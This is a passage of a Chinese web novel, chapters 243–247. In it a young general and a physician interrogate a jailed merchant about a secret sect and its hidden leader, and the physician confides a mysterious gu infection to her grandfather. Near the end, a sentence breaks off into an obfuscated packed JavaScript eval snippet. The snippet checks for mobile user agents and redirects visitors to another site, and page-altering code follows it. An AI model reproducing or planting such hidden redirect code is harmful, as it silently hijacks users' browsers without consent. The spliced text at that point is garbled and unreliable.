“傻姑娘,我们是一家人,舅母不对你好对谁好?”王氏瞧着乖巧的小姑娘,想起了自己那不成器的女儿,愈发心疼陈识月。 陈识月和霍青行往外走,此处有舅母看着,并无什么大碍,但是商家祸患不除,永安县乃至于整个徐家,以后都不会安生的。 “待会你就跟着我。”霍青行走在前面,知道她对衙门发怵,但又挡不住她那看热闹的心,便给她戴上了幕帘,“什么都不用说,谁都不要理睬。” 陈识月点头,“好!” 衙门。 一应人等全部被抓,该收监的收监,但也有逃离的,所以衙门还在派人追捕之中,不过对这些,霍青行所关心的,却是长乐门的人。 陈识月撩开纱幔,与霍青行对视一眼。 “柳大人。”霍青行拱手。 负责此案的乃是刑部柳侍郎,转运司王大人,眼下王大人还带着人在外头继续搜捕涉案人员,唯有柳侍郎在衙门担责。 知府在来的路上,到时候接手、护送一众人返朝,回刑部复命。 “霍少将军怎么会这?”昔日在金都,柳侍郎有幸见过霍青行,“昔日金都一面之缘,如今倒是……幸会幸会。我就说怎么宛若神助,却原来是少将军的手笔?” 半路截杀,前来营救之人,各个武艺高强,瞧着训练有素,没想到竟是霍家军! “原是有军务在身,途经此地的时候,忽然听闻了些许意外,便想着路见不平拔刀相助。”霍青行言简意赅,“没想到歪打正着,但愿没有耽误柳侍郎的事儿。” 柳侍郎赶紧摆手,“非也非也,有少将军帮助,对咱来说简直是及时雨。要不是少将军的人动作快,只怕人都跑了,连咱都是性命难保啊!” “凑巧罢了!”霍青行似笑非笑,“举手之劳。” 柳侍郎顿了顿,一副欲言又止的模样。 “但说无妨。”霍青行不喜欢兜圈子。 柳侍郎拱了拱手,“我就是有点好奇罢了,既然霍少将军不愿意多说,我自也不该多问,只是少将军找上门来了,大概也是有所缘由吧?” “柳侍郎说对了,见着几张熟面孔,此前打过交道,有点过节。”霍青行意味深长的解释。 柳侍郎一顿,转而一副果然如此的表情,“原来如此。” 有过节。 “那少将军此番前来……”柳侍郎环顾四周,大概是明白了霍青行的意思,“想见一见囚犯?” 按理说,被抓住收监之后,不该寻常待见,怕的是串供,或者是被人暗害,到时候没法跟上面交代,坐实不了罪证。 但,霍青行除外。 霍家的忠义之名,天下人尽皆知。 “能否行个方便,有些事情需要确认。”霍青行开口。 柳侍郎点头,“若是旁人自然不成,但霍家少将军,我是信得过的。何况,若不是你们,怕是也不能及时抓住这些人,人都在大牢里收押,过不了多久便会全部押解入京,少将军速战速决。” “多谢!”霍青行拱手回礼。 柳侍郎往前走,霍青行想调查什么,柳侍郎不清楚,但既是军务在身,怕是和细作有关?又或者是边关战事有关? 这不是他一个刑部侍郎该管的事儿,他如今的所有目的,仅限于调查贩卖私盐一案。 大牢。 四下幽暗,烛台火光摇曳。 陈识月跟在霍青行的身后,随着柳侍郎进去,一颗心七上八下的。 “少将军,这位是……”柳侍郎犹豫。 看得出来,是个姑娘。 可霍青行出军务,怎么会带个姑娘在身边呢? 霍青行挑眉看向陈识月,“你觉得我们是什么关系?” 陈识月:“……” 说内子,怕她不高兴。 说朋友,他又不甘心。 “心腹。”陈识月低声回答。 柳侍郎礼貌又不失尴尬的笑了笑,这个回答还真是…… 霍青行喉间滚动,“心腹?” 那倒是,放在心上,恨不能拆骨入腹。 甚好! 甚好! “人都在这里了。”柳侍郎指了指前面,“这边是江湖人,那边是商家的人,前面是县令的人。” 这些人都是分开关押,以免串供。 语罢,柳侍郎观察着霍青行,想着这个时候还是不要问太多为好。 “少将军尽快吧!”柳侍郎道,“我在外面候着。” 霍青行拱手,“多谢。” 眼见着柳侍郎离开,霍青行掀开了陈识月的幕帘,“走吧!” 既然当时陈大人将锦囊留下,必定不是单纯的,想让陈识月去徐家认亲,这里面肯定还有点别的什么猫腻。 陈识月先去找了商城,毕竟跟商家的接触最多,想必商城也是“很愿意”看到她,尤其是听闻商野已经死了。 乍见着陈识月和霍青行,商城和高秀娥差点冲上来撕了她。 “是你!是你!”高秀娥几近咬牙切齿,“是你害死了我儿子,是你们两个,你们这两个杀人凶手,是你们害死了我儿子!” 霍青行站在牢门外头,“害人不成,反而自个栽进去,咎由自取,怪得了谁?” “自作自受,活该报应。”陈识月扫过二人。 县衙的牢房不多,主犯关押在一起,从犯则在远处,是以这间牢房只有商家夫妇。 “还我儿命来!”高秀娥疯似的冲上来。 第二百四十三章 认识上柳居士吗? 可惜啊,隔着牢门。 高秀娥再疯,再恨,也走不出这牢笼。 霍青行和陈识月就站在外头,默默的瞧着这女人发疯,一言不发,神情平静。 “你们还想做什么?”商城目光冷戾,就这么直勾勾的盯着牢门外的二人,相较于高秀娥的疯癫无状,他还算是冷静。 到了这个时候,除了心死如灰,已经没有别的心绪了。 “问个问题。”霍青行开口。 陈识月深吸一口气,“你们上面的人是谁?” 商城不语。 “金都的人必定是知会了你们,才有了你们这样恶毒的手段,谁知道功亏一篑。既是失败,想必这消息也返回了金都吧?”霍青行继续开口,“即便如此,你们却也没有得到救助,可见已是弃子。” 商城眯了眯眸子。 “怎么,还等着回金都之后,再逃出生天?他若有这么大的能力,私盐一事就不会东窗事发,刑部的和转运司的人也不会出现在这里。”霍青行目光如炬,“当然,如果真的到了这只手遮天的地步,那还真是个大人物!” 他将最后三个字咬得极重,却听得陈识月心惊胆战。 大人物? 多大的人物? 只手遮天的大人物! 陈识月面色微变,霍青行皱了皱眉,自然察觉到了她的异常,不由的脸色一沉,“商城,你不说不代表别人不会说,我只是不想太麻烦,所以才会第一时间来找你,若你不识趣,那你就自求多福吧!” 语罢,霍青行牵起陈识月的手,转身就走。 “你们真的想知道?”商城好似抓住了什么把柄一般,眸色微沉,似有盘算。 霍青行一下子不想知道了。 缓过神来,陈识月却是开了口,“商武还有一线生机。” 四下,陡然一片死寂。 果然,她是懂得打蛇打七寸的。 “他还没死,还能喘息。”陈识月继续道,“只要我出手,他就可以活下来。死了一个商野,还有一个商武,不是吗?” 霍青行秒懂,旋即补充,“在外人眼里,商武已经是个死人了。” 虽然话语间颇为隐晦,但是商城不是个傻子,聪明人有聪明人的说话方式。 气氛有点微妙,高秀娥的哭声也消失了。 夫妻二人对视一眼,都从彼此的眼中看到了犹豫之色,大概是不信任霍青行和陈识月,是以没敢一口应下。 “犹豫是好事,说明你们还是想活的。”霍青行嗤笑两声,“但犹豫太久可就不是什么好事了,毕竟救人如救火,耽搁久了就会灰飞烟灭。” 商武,可还病着呢! “你们说到做到?”商城面色沉沉,看向二人的眼神里,带着几分狠戾。 不信任。 “我是大夫,我说到做到。”陈识月回答,“当然,你若是不信,那我也没办法,大不了就是个死,反正你们现在也离死不远了。” “是留下一条血脉,还是大家一起死,或者是你把所有的赌注就压在大人物身上。”霍青行言简意赅,“人的选择……还是很重要的!” 霍青行与陈识月一唱一和的,让本就心中慌乱的商家夫妇,一下子有点缓不过来,面面相觑了半天,终是呐呐的应了声。 “说吧!”霍青行捏了捏陈识月的手。 成了。 陈识月暗自松了口气。 “本家有个亲侄儿,早年去了金都,如今在他人手底下办差,他始终没告诉我,到底是哪户人家,但我知道,那是个手眼通天的大人物。”商城娓娓道来,“这些年一直是他在背后与我联络。” 陈识月不懂这官场的弯弯绕绕,转头看向霍青行。 霍青行眯起危险的眸子,“你不知道他在谁手底下办差,还敢这么肆无忌惮?商城,骗鬼都不带这么说话不过脑的。朝廷水深,我又不是没见识过。” 商城被噎了一下,旋即将目光落在了陈识月的身上,大概是想起了,自己儿子的性命还在陈识月的手心里捏着。 耍花样? 只能死得更快。 气氛,再度僵持下来。 陈识月看出来了,他们还是不肯说实话,不知道是因为这么多年的习惯使然,习惯了隐瞒,还是真的不知道什么? 商城深吸一口气,“有时候,知道的越多死得越快,所以在这件事上,我真的没有问过太多。商家世代商贾,要想往上爬,只能踩着别人的梯子,我没有选择。” 商贾的确有钱,可这钱能不能留得住,却是个问题。 “当初我家的商铺出了问题,喊救命都没人帮,那种情况下,不管是谁伸出来的独木桥,我都得跟着上。”商城长长吐出一口气,“这种情况下,换做是你们,你们会怎么做?” 陈识月沉默。 “不管是谁拉了我一把,这黄泉路我都得上。”商城继续说,“所以不管对方是谁,这条路我都得走。” 言外之意,他真的不知道,那个好侄子的上面是谁? “你那侄子叫什么?”霍青行问。 商城顿了顿,终是徐徐开口,“商骄。” 商骄? “听过吗?”陈识月不知道金都的状况,也没听过这名号,自然不懂这些。 霍青行沉着脸,但记住了这个名字。 既然是在别人府中办差,那应该是个下人,他是真的没印象。 “长乐门的人,也是通过商骄与我们联络的,私盐和绑走那些女子的事情……”商城大概也觉得没脸,毕竟这些事,桩桩件件都见不得光,桩桩件件都是血债。 陈识月看向他,“长乐门背后之人,是否就是你那好侄儿的主子?” “不知,但是有所牵连。”商城似乎有些焦灼,“月大夫,该说的我都说得差不多了,能不能……先救我儿子,让他活!” 霍青行挑眉,“你在谈条件吗?” “我总得看到你们的诚意,才能说出有用的东西吧?我商城在商场浮沉多年,是不会相信空口白牙的。”商城到底不傻,“你救人,我就继续说。” 陈识月颔首,“好!” 因着伤重,商武被丢在木板床上。 陈识月进了大牢,有霍青行在,料他们也做不了别的。 丹丸入口,银针刺穴。 陈识月动作干净利落,没有任何的解释,但他们都清楚,她此前留了一手,并非全意救人,只是在拖延时间,是以在她失踪之后,病势全部爆发。 “我就知道,是你做的手脚。”高秀娥浑身颤抖,却又不敢有所举动。 陈识月看向商城,“可以继续说了。” “认识上柳居士吗?”霍青行问。 商城面色大变…… 第二百四十四章 我去过销金窝 见着商城如此神色,陈识月和霍青行还有什么不懂的? 他,知道。 陈识月心头一紧,刚要开口,却是霍青行挡在了跟前,遮住了商城看向陈识月的视线。 “看样子,是知道有这号人物!”霍青行似笑非笑。 商城别开了视线,没有吱声。 “不想说也没关系,咱有的是时间。”霍青行悠悠然吐出一口气,“小月儿,收拾收拾,咱该走了!柳大人没给太多的时间,所以别耽误了!” 陈识月银针一收,“得嘞!” 可高秀娥不行了,“不能这样,不能这样,你要是撤手,我儿子就真的死定了!上次让你这么一折腾,他们都只剩下半条命,先如今你再闹一番,我儿子还有命在?” “那也是你们自找的。”霍青行可不管她,“此前就已经谈好了互换的条件,是你们自己不放心上,不打算救儿子,与我们何干?这是大牢,可不是商府,你们的好日子早就结束了,如今能偷得一口气,就该好好珍惜。” 商城绝望的闭了闭眼睛,“他是从永安县出去的,并且跟长乐门有关。” “商老爷果然知情识趣,知道咱们想听什么。”霍青行冲着陈识月使了个眼色。 陈识月低哼一声,不急不缓的去处了针包,继续给商武施针。 见此情形,商城脑瓜子嗡嗡的,沉浮人情道多年,什么没见过,他也很清楚霍青行和陈识月的承诺,多半是作不了数的,但人就是这么奇怪,不到黄河心不死。 “这人很神秘。”商城继续说,“我没见过他的容脸,但是我见过他的背影,是个男人,身高七尺,当时天太黑,他黑衣斗篷裹得严严实实,除了身边的人,大概没人知道他究竟是谁吧?” 男的。 身高七尺。 “听声音,年岁不小。”商城解释,“感觉有三四十岁的样子,反正不像是年轻人。” 年长? “长乐门的人见着他,都是颇为恭敬。”商城似乎努力回忆着什么,“彼时他来永安县,说是办一桩旧事,我当时也不敢多问,只是听了这么一耳朵。” 长乐门的人都对他恭敬有加,说明是上面的人,要么就是身份极为尊贵。 “我只知道这么多。”商城一副视死如归的模样,“你们再问,也问不出别的,我若是编瞎话,想必你们一眼就能看出来。” 话说到这儿,还有什么不明白的? 他只知道这么多! 真的,只这么多。 “至少能证明,这上柳居士不是好东西。”霍青行看了一眼陈识月。 同时也能说明,他们追查的方向没错,这上柳居士的确来过永安县,并且身份了得,说不准是朝中某位大员。 “可知他后来去了何处?”霍青行问。 商城摇摇头,“当时悄悄派人打听过,说是回金都,但究竟是不是回京都,那我就不清楚了,毕竟大人物的事情,可不是我们这些平头百姓敢置喙的。” 金都…… 霍青行与陈识月对视一眼,大致上是认同这个说法的。 上柳居士应该就在金都,是金都的大人物。 只是,会是谁呢? “我也只见过他一次。”商城看出来了,他们是冲着上柳居士来的,“唯有一次。” 陈识月凝眉,“如此说来,此人不常来。” 霍青行点头。 不常来,但锦囊里的提示却在永安县,这里面必定是有所瓜葛的。 罢了! 这些事待会再去想,眼下要紧的,是听商城怎么说。 “你们还想问什么?长乐门的事情,他们比我更清楚,我只是负责卖出去,银子这东西也到不了我这里,都由长乐门一一处置。”商城这话也不知有几分可信度,听着就像是将一切罪责都推脱出去。 霍青行和陈识月对视一眼,没有当即下结论。 “漕运码头这边,有我家的商队在明面上挡着,若是有事则上面会有人处理,基本上没出过什么大乱子,这么多年一直顺遂无虞。”商城继续说,“我也不知道是哪儿出了问题,为何这一次竟是闹得如此结果?” 收到消息的时候,他也是丈二和尚摸不着头脑。 “这些年一直相安无事,到底是大意了!”商城扬起头,看向二人的时候,眼神里带着一丝迷茫。 不知道他所言是否是真? 又或者是演戏演得好,总归像那么一回事。 “没有预兆吗?”霍青行不解。 出了事应该有前兆的,不可能一下子就来踹窝子。 “没有。”商城摇头,“只是提前一个月传出了消息,打算拦截了那些金都来的郎官,到时候人死债消,金都那边都会有人处置。” 金都那边有人等着消息,没想到全军覆没了。 “什么都算计好了,没算计到你霍家会插手。”提起这个,商城对他们两个还是很有怨念的,“要不是你们插手,这件事早就了结了。” 霍青行嗤笑两声,“若要人不知,除非己莫为。” “是吗?”商城摇摇头,“天底下哪有什么报应,不过是不小心漏了馅儿罢了!迟到的报应,那不是报应,只不过是人心不足的下场。” 霍青行看向他,又看了看忽然一个大喘气的商武。 是吗? “他……”高秀娥战战兢兢。 陈识月收好针包,“堵塞的筋脉被疏通,他很快就会好起来。” “你堵了他的筋脉?”高秀娥瞪大眼睛,眸中恨意阑珊。 陈识月白了她一眼,“每日施针,确保畅通无阻,若缺一日,那便堵塞一日,及至血脉逆行,血淤血滞,最后七窍流血!” 都说了,大夫能救人便也会杀人,谁让他们不信呢? “我说过的,不要惹我。”陈识月收拾好了一切,往商武的嘴里塞了一枚药丸,“含在嘴里会逐渐融化,等到药丸融化殆尽,他就能醒了。” 商城:“……” “我就知道,都是你!”高秀娥咬牙切齿,“都是你!” 陈识月收拾好了一切,目光沉沉的瞧着二人,“没错,是我干的,怎么着吧?” 话都说到这份上了,不承认似乎不礼貌了。 “长乐门的事,你知道多少?”霍青行追问,“他们的总坛在何处?” 商城裹了裹后槽牙,“金都。” 陈识月敛眸,就知道是这个答案。 “那些女子你们也别打听了,一旦送上了金都,就不可能再回来了。”商城继续道,“她们不是死了,就是成了摇钱树。金都销金窝,就是长乐门的总坛,我还去过一次呢!” 陈识月的眼睛都亮了,去过?! 那就是……知道位置! 第二百四十五章 看破不说破 陈识月所想,也是霍青行所想。 既然是去过,自然是知晓位置,当然……还有如何进去?哪怕是江湖上的一些门派,哪怕是诗文大会,进入都得需要拜帖,或者是一定的信物。 长乐门,销金窝,定也不会例外。 “你知道该如何进销金窝?”霍青行开口。 商城好整以暇的望着二人,忽然意识到他们出现在永安县,可能不是因为徐家,也不是顺手的拔刀相助,而是冲着长乐门来的。 “你们不是因为……不是因为私盐一案而来,并非随手帮扶刑部办差,而是冲着长乐门来的?”商城恍然大悟,“上柳居士?” 霍青行也不怕他忽然脑子开窍,毕竟都到了这地步,事实已经很明显了。 “你们想找他,想去销金窝,想要掀了长乐门。”商城忽然笑出声来,“还真是初生牛犊不怕虎,长乐门是什么地方?你们也敢闹?” 霍青行不以为意,“为非作歹,祸害百姓,就该死!” “书房的暗格里,有一块令牌,那便是去销金窝的凭证。”商城开口,“只不过,我得提醒你们一句,那地方进去容易出来难,你们进得去未必出得来!” 陈识月看了霍青行一眼,“这就不劳烦阁下费心。” 这是铁了心要去销金窝呢? “你们想去就去,横竖这生死都跟咱没关系。”商城又不是什么好人,哪儿有同情心,只不过到了眼前的境地,只盼着自己多说两句,能让陈识月他们更信几分,让她可以真心为商武诊治。 霍青行和陈识月对视一眼,这商城大概也就知道这么点了吧? “当然,我这是很多年前的事情了,现如今是否还是如此,那我就不清楚了。”商城瞧了一眼霍青行。 这小子太清醒,太过精明了,想瞒都瞒不住。 真话假话,其实是能听出来的。 “金都城外往西二十里地有个义庄,我就是从那里进去的,至于这么进去的,那我就不清楚了。”商城摇摇头,“他们会蒙上你的眼睛,你根本不清楚路在哪儿?” 这就意味着,即便知道那就是关键,却也找不到入口所在。 义庄? “该说的……我都说清楚了,还望月大夫能遵守承诺。”商城也算是看清楚了,别看霍青行人高马大,别看他有霍家在后,实际上二人的主导关系,主动权在陈识月的身上。 小丫头将这位霍家的公子拿捏得死死的,一副柔弱之态,却是真正的主心骨。 “你说清楚,不代表你说的是真的。”陈识月又不是三岁的孩子,还真的能被他三言两语糊弄过去?凡事都需要验证,“是真是假,我们会去查。” 商城没有再说话,只看着霍青行带着陈识月,快速走出了牢房。 牢门再度合上。 “老爷?”高秀娥面色铁青。 商城摆摆手,示意她不要多说,有些事情还是让他们自己去查证,说得越多越惹人怀疑,他们越不会相信。 好在,儿子这条命……似乎是捡回来了。 “你相信他说的吗?”霍青行问。 陈识月偏头看向他,“那你信吗?” “半信半疑。”霍青行是真的不敢全信,老狐狸成精,说出来的话都是拐着弯的,要么需要细想,要么会把你带沟里,“不过他既说得出长乐门和销金窝,就说明有些事情他是真的接触过。” 瞎编乱造,造不了这么真实。 但真实归真实,老东西不可能说实话,肯定有所隐瞒,不到人头落地的那一刻,必定要留下点保命的把柄,对长乐门多多少少还是抱有希望的。 盼着被押解的路上,能生出点意外来,哪怕当个流寇,当个在逃的朝廷钦犯,也好过做刀下亡魂。 世人,谁不怕死? 贪生怕死,是本能! “金都城外,义庄,蒙着脸被带走。”陈识月记在心里。 霍青行深吸一口气,“记住便罢了,如果还有第二个人,也这么说,那这话便有几分可信度了。” 说到底,商城人品不行,说出来的话都没什么可信度。 “嗯!”陈识月点头。 大牢外头,柳侍郎已经等候多时。 见着人出来,柳侍郎赶紧迎上来,“少将军,如何?” “冥顽不灵。”霍青行淡淡然吐出四个字。 闻言,柳侍郎略有些失望,转而又敛了神色笑道,“情理之中的事情,这帮人此前还想杀人,负隅顽抗,必定是硬骨头。不过没关系,到时候大刑伺候,不怕他们不说实话。” 说着,柳侍郎又将目光落在了陈识月的身上。 幕帘重新戴上,薄纱之下不见容脸,只能瞧见模糊的轮廓。 陈识月垂下眼帘,不敢直视。 “柳侍郎辛苦。”霍青行拱手。 柳侍郎回过神来,“少将军言重了,本就是分内之事。” “我还有事,先告辞。”霍青行转身就走。 柳侍郎没有多说什么,只是站在原地,目送二人离去。 半晌,他皱了皱眉,好似想起了什么,回过神来看了看天,“霍家的儿郎,怎么会出现在这里呢?” 军务在身? 军务在身会带着一个女子? 看破不说破。 出了衙门,陈识月撩开了纱幔,“回徐家吗?” “嗯!”霍青行点头。 徐家。 徐玉莹和徐玉安都等在门口,一个个伸长脖子张望,就等着陈识月他们回来,终于见着来人,这才如释重负的松了口气。 “你们可算是回来了!”徐玉莹率先冲上去,“谢天谢地,你们没什么事。父亲和祖父都在暖阁里坐着,等你们的消息呢!” 徐玉安冲着霍青行揖礼,“表妹夫,快进去吧!” 陈识月张了张嘴,哎这……怎么还叫顺口了呢? “姐夫,快走快走!”徐玉莹笑着搀起陈识月的胳膊,“表姐,咱也快走,祖父都等着急了,回头又得上火。” 陈识月看向霍青行,只瞧着这小子唇角轻勾,活脱脱一副不值钱的模样。 暖阁。 霍青行恭敬有礼,毕恭毕敬,“舅父,外祖父。” “好,好!”徐敬先是一愣,其后便是连道两个好,可见对霍青行的满意程度。 徐庚转头看向自己的老父亲,其后又与王氏对视一眼,眼神里的意味自然不言而喻。 好事! 是好事! 陈识月:“??” “外祖父和舅父只管放心,有晚辈在,必不会让月儿有所损伤,定然护她安然无虞。”霍青行又加大了药量。 徐家两个男人,真真是满意至极。 窗外的林序竖起大拇指:不愧是少将军!稳了!这下真的稳了! 第二百四十六章 这个蛊,无解 的确,得了家中长者的认可,可不就是稳了吗? 陈识月知道霍青行是个没脸没皮的,但没想到没脸没皮的速度这么快,一眨眼的功夫,又把外祖父和舅父的称谓都叫上了。 “此番多亏了你。”徐庚由衷感慨。 徐家险些出了大乱子,所幸有霍青行在,一则是主心骨,二则是保护伞。 “是祖宗庇佑,福泽深厚。”霍青行并不揽功,转头看向一旁略显无语的陈识月,“也是月儿尽心尽力的缘故,若不是她为了拖住商家,深入虎穴,给了我充足的时间调查、安排此事,只怕如今不会有这样的结果。说不定那时候,商家的人早就脚底抹油跑了。” 徐敬连连点头,“月儿可真是咱家的福星。” “有外祖父在,想必商家的人也不敢太过肆意。”陈识月上前。 徐敬握住了外孙女的手,满脸的怜爱之色,“要是你娘还在,该有多好啊!” 团团圆圆,和和美美。 一家子都在,唯独缺了她! “娘在世时,经常冲着这边方向发呆,我问过她,在看什么?”陈识月开口,瞧着眼前慈眉善目的外祖父,声音带着哽咽,“她说,那是她家的方向。娘不是好强,她只是觉得没脸回来见您。” 人,总是有自己放不下的东西和事情。 “这个傻丫头。”徐敬老泪纵横。 徐庚叹气,“爹,月儿在呢!如今诸事皆了,这样好的日子,您怎么能哭哭啼啼的?回头把月儿也惹哭了,您看看这……” “对对对,是高兴的日子,我这高兴呢!”徐敬又哭又笑,紧握着陈识月的手不放。 王氏忙道,“今日是个好日子,我让厨房好好做一顿,咱一家子好好吃个团圆饭。” “快去!”徐庚觉得甚好,“一家子团团圆圆的。” 陈识月想了想,“舅父,我能不能单独跟外祖父说几句话?” 闻言,徐庚一怔,转而连连点头,“当然可以,我正好也有几句话,要交代外甥女婿。” 陈识月:“……” 越来越顺口了。 霍青行大概能猜到陈识月想说什么,是以徐庚拍着他的肩膀,示意他出来的时候,便毫不犹豫的跟着走出去。 人一走,徐敬便谨慎的开了口,“月儿是遇见了什么难处?外祖父能帮得上忙吗?” “外祖父!”陈识月徐徐跪在地上,伏在了外祖父的膝上,“我知道,母亲的医术都是外祖父所授,您的医术远胜过我们,是以有一件事月儿不敢隐瞒,想求外祖父施以援手。” 徐敬心惊肉跳,脸色都变了,伸手摸着陈识月的发髻,轻轻的问,“月儿有什么难处只管说,外祖父拼尽全力也会帮你。” “此前与一蛮贼交手,对方也不知道是什么来路,他们使了非常手段,拿活人试药。”陈识月扬起头望着徐敬,“我一时躲闪不及,便……便中了招。” 徐敬差点站起身来,面色铁青,回过神来,慌忙伸手去探陈识月的腕脉。 “别动,让我瞧瞧。” 徐敬说话的时候,嗓音都在颤抖。 屋子里,很安静。 陈识月凝神静气,看着外祖父逐渐黑沉的脸色,心里隐约有了不祥的预感。 母亲留下的医书里,记载了蛊虫之事,但不多,可见这方面也不在他们的擅长范围内,所以陈识月只能抱着试一试的想法。 徐敬一直没说话,把脉结束之后,默默地收回手,面上生出了不忍之意,就这么静静的看着她。 有些事情没有言语,已胜过千言万语。 四目相对,好像都知道了结果。 陈识月收回手,兀自笑了笑,“外祖父不要难受,有些事情是上天注定的,其实现在这样的状况也不是不可以,我其实这样也……也挺好的,可以保护好自己,出门在外都不怕别人捅刀子。” 话落,瞧着徐敬脸上难过的表情,陈识月忽然不知道该说什么。 “真的,外祖父!”陈识月忙伸出手,“我的自愈能力已经不是正常人可比了。” 说着,她拔下发簪,在掌心狠狠划开一道口子。 “月儿!”徐敬惊呼。 然而下一刻,血珠子冒出来之后,忽的又止住了。 伤口以肉眼可见的速度,快速止血,然后浅浅的伤痕就开始愈合了,从血口子变成了红痕,再从红痕变成了一道浅浅的痕迹,最后就剩下了一条线。 徐敬张着嘴,愣是没发出一个词儿。 好半晌,徐敬回过神来,不敢置信的看向陈识月。 “就……就是这样!”陈识月看着逐渐完好如初的手掌心,“莫名其妙的,就成了死不了的东西,感觉都不像个活人了。” 可是,寻常大夫只觉得她脉象正常,不会觉察到异常。 医术稍微高超一些,倒是能瞧出端倪,可是……可是…… “取不出来也是好事。”陈识月忽然就释然了,“外祖父就不会担心我了。” 徐敬叹口气,“这件事必须要解决,你不是南疆的人,也不善控蛊之术,所以这东西留在你体内肯定不是好事,迟早是要出事的。” 这是大实话,也是陈识月担心所在。 “没关系,待得空我就去一趟西域,出关去南疆,去南诏,去能取出这些东西的地方。”陈识月笑了笑,“外祖父不要担心,总归我还年轻,一定会有办法的。” 徐敬回过神来,“我也会让你舅父,帮着查找办法,咱们中原甚少有这样的东西。” “我知道。”陈识月点点头。 从屋内出来的时候,陈识月在檐下站了站。 徐玉莹快速迎上去,“姐姐,你没事吧?怎么瞧着,你的脸色和祖父的脸色……都不太好呢?” 的确,现在的陈识月,面色略显灰白。 “我能有什么事?就是跟外祖父说了一会,关于我母亲的事情,没别的事。”陈识月忙摇头,挤出一抹微笑。 转头又看向徐敬。 徐敬直勾勾的盯着自己的外孙女,只恨自己没能保护好女儿唯一的血脉,只怪自己医术不精。 “祖父?”徐玉莹不解,“你怎么了?” 徐敬摇摇头,“我这里太烦闷,带着你姐姐四处逛逛吧!” “是!”徐玉莹笑盈盈的搀着陈识月,快速朝前走去,“姐姐,我们去园子里看看,还有我爹和祖父特别浇种的药草,外头可都不常见呢!” “是吗?那我得好好看一看。”陈识月勉强挤出微笑,回头去看外祖父。 老人立在檐下,身形略显佝偻,低着头一动不动…… 第二百四十七章 阖家团圆 关于陈识月想跟徐敬说什么,霍青行心里是清楚的。 是以,在徐庚说话的时候,霍青行略有些心不在焉。 “霍公子?霍公子?”徐庚连唤两声,这才把霍青行喊过神来。 霍青行:“??” “你怎么了?”徐庚不解,“是哪儿不舒服吗?” 大夫看人,一个两个都有病。 霍青行急忙摇头,“没有没有,抱歉,方才想别的事情去了,舅父说什么来着?” “我是想问,你对月儿……”徐庚也看得出来,二人其实没有越界之举,且陈识月大概还没有真正点头,充其量只能算是彼此互生好感的阶段。 霍青行想了想,这事还真得说清楚,免得到时候她跟自己急。 “舅父。”霍青行郑重其事的开口,“我与月儿自幼相识,算是青梅竹马的情意,后来因为陈家出事而分开,我寻找月儿未果,所幸后来相逢,这才有幸再续前缘。” 三言两语,言简意赅,将彼此之间的事情说得清楚。 “原来如此。”一听他说再续前缘,徐庚还有什么不明白的? 心下了然,心中释然。 “有你这番话,我这心里踏实多了。”徐庚长长吐出一口气,“月儿前半生孤苦,未得父母庇护,流离失所,在外面吃尽了苦头,现如今我们只想让她高高兴兴的。” 霍青行旋即行礼,“请舅父放心,只要有我一口气在,必定舍命护她周全。” “其实我们也知道,她家中必定是出了大事,但既然不愿多说,我们自然不会多问,权当什么都不知道,她说什么便是什么。”徐庚继续道,“可我们也明白,徐家怕是护不住她周全。” 霍青行沉默了,也算是默认了徐庚所言。 “既如此,只盼着有人能护她左右。”这也是徐敬和徐庚,放心霍青行的缘由。 看得出来,霍青行是真心要护着陈识月的,拿命去护。既是心疼陈识月幼年失怙,那就要拿出行动来…… “是!”霍青行当即起誓,“我霍青行此生必当护之爱之珍之重之,若违此誓,天地不容。” 徐庚点点头,轻轻拍着霍青行的肩膀。 有些话,不必多说。 二人回来的时候,正好瞧见徐玉莹拉着陈识月,坐在花园里说话,两人年纪相仿,陈识月不是个闹腾的性子,但徐玉莹却是个能说能笑的,逗得陈识月也跟着笑。 两个小姑娘坐在那里,眉眼含笑,仿佛什么烦恼都没了。 “她以前在陈家……”徐庚犹豫了一下,“过得好吗?” 霍青行不知道该说什么,对长辈撒谎,报喜不报忧似乎不太好,但要实话实说,怕又伤了他们的心,何况也没经过陈识月的同意,有些话不能轻易说。 看到他这般神色,徐庚一下子笑不出来了。 两个大男人,你看看我,我看看你,大眼瞪小眼的,便也就心照不宣了。 “那她……和、和她母亲,应该吃了很多苦吧!”徐庚说这话的时候,声音都带着几分哽咽,“母女二人都是个倔强的,一个死也没说一句,一个闭口不提。” 霍青行想着,“倔强是一回事,傲气又是另一回事,母女二人自然是一脉相承,有什么难事都自己一个人扛着,从来不会与人示弱。” 骨子里的东西,实在是难以改变。 陈识月如此,她母亲徐瑶也是如此。 “这样也好。”霍青行道,“如此一来,我便可以名正言顺的保护她。无人靠近,我便是唯一,此生唯一。” 徐庚皱了皱眉,瞧着眼睛里满是星星,仿佛独独陈识月一人的霍青行,隐约觉得他可能有点毛病,虽然这是好事,但有时候容易坏事,希望他这满心满肺都是陈识月的同时,能保持理智与清醒。 “舅母!”见着王氏走过来,陈识月旋即起身。 王氏笑道,“刚吩咐了厨房那边做上团圆宴,我便想起前两日定的衣裳到了,赶紧过来让你去试一试,若是不合身还能再修一修。” “多谢舅母!”陈识月行礼。 王氏握紧了她的手,“谢什么?都是一家人,应该的,走!” 说着,她便牵着陈识月离开。 徐玉莹依旧在边上叽叽喳喳的说话,一会提及她与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564749|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄长追踪高秀娥的惊心动魄,一会提及话本子里的事情,絮絮叨叨个不停。 “跟个麻雀似的,一刻都不停歇,真不知道我生你的时候,到底是做错了什么?”王氏直摇头,“耳朵都快长茧子了,你可消停些吧!” 徐玉莹撇撇嘴,“那不能,人生了一张嘴不是拿来说话,就是拿来吃饭,这会没在饭桌上,自然是要用来说话的。表姐,你说是不是?” “是是是!”陈识月笑着进屋。 屋内的桌案上,摆放着好几身衣裳。 “都是今年最时新颜色和款式,上面的绣花和暗纹,也都是今年最新出来的,徐家虽然不是什么大门大户,但是也不会迂腐得落于人后。”王氏笑道,满脸怜惜的看着陈识月,“你试试看,若是不合身咱就再改改尺寸。” 陈识月点头。 